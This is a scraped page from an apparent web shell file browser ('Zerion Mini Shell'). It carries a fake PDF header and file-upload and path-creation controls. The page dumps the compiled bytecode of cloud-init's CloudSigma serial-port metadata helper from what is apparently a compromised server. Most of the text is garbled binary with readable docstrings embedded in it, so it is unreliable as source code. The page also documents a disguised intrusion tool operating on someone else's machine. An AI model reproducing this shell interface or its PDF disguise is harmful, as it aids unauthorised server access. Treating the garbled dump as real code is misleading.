%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/cloudsigma.cpython-312.pyc

�

�f�
���dZddlZddlZddlZdZdZdZej�dk(rdZGd�d	�ZGd
�d�Z	y)a
cepko implements easy-to-use communication with CloudSigma's VMs through
a virtual serial port without bothering with formatting the messages
properly nor parsing the output with the specific and sometimes
confusing shell tools for that purpose.

Having the server definition accessible by the VM can ve useful in various
ways. For example it is possible to easily determine from within the VM,
which network interfaces are connected to public and which to private network.
Another use is to pass some data to initial VM setup scripts, like setting the
hostname to the VM name or passing SSH public keys through server meta.

For more information take a look at the Server Context section of CloudSigma
API Docs: http://cloudsigma-docs.readthedocs.org/en/latest/server_context.html
�N�<�
z
/dev/ttyS1�Windows�COM2c�*�eZdZdZdZdd�Zd�Zdd�Zy)	�Cepkozb
    One instance of that object could be use for one or more
    queries to the serial port.
    z<
{}
>Nc�R�|�|j}t|j|��S�N)�request_pattern�CepkoResult�format��self�keyrs   �F/usr/lib/python3/dist-packages/cloudinit/sources/helpers/cloudsigma.py�getz	Cepko.get,s)���"�"�2�2�O��?�1�1�#�6�7�7�c�"�|j�Sr
)r�rs r�allz	Cepko.all1s���x�x�z�rc�\�|jjd�}|j||�S)Nz/meta/{})rr
rrs   r�metaz
Cepko.meta4s)���.�.�5�5�j�A���x�x��_�-�-r)�N)r)�__name__�
__module__�__qualname__�__doc__rrrr�rrrr$s���
!�O�8�
�.rrc�:�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
y	)
rz�
    CepkoResult executes the request to the virtual serial port as soon
    as the instance is initialized and stores the result in both raw and
    marshalled format.
    c�|�||_|j�|_|j|j�|_yr
)�request�_execute�
raw_result�_marshal�result)rr!s  r�__init__zCepkoResult.__init__@s*������-�-�/����m�m�D�O�O�4��rc��tjttt��}|j|jjd��|j�jd�jd�S)N)�port�timeout�writeTimeout�asciis
)�serial�Serial�SERIAL_PORT�READ_TIMEOUT�
WRITE_TIMEOUT�writer!�encode�readline�strip�decode)r�
connections  rr"zCepkoResult._executeEs[���]�]��l��
�
�	������,�,�W�5�6��"�"�$�*�*�9�5�<�<�W�E�Erc�P�	tj|�S#t$r|cYSwxYwr
)�json�loads�
ValueError)rr#s  rr$zCepkoResult._marshalLs+��	��:�:�j�)�)���	���	�s��%�%c�6�|jj�Sr
)r%�__len__rs rr<zCepkoResult.__len__Rs���{�{�"�"�$�$rc�8�|jj|�Sr
)r%�__getitem__)rrs  rr>zCepkoResult.__getitem__Us���{�{�&�&�s�+�+rc�8�|jj|�Sr
)r%�__contains__)r�items  rr@zCepkoResult.__contains__Xs���{�{�'�'��-�-rc�6�|jj�Sr
)r%�__iter__rs rrCzCepkoResult.__iter__[s���{�{�#�#�%�%rN)rrrrr&r"r$r<r>r@rCrrrrr9s+���5�
F��%�,�.�&rr)
rr8�platformr,r/r0r.�systemrrrrr�<module>rFsP�����
����
����8�?�?��	�!��K�.�.�*#&�#&r

Zerion Mini Shell 1.0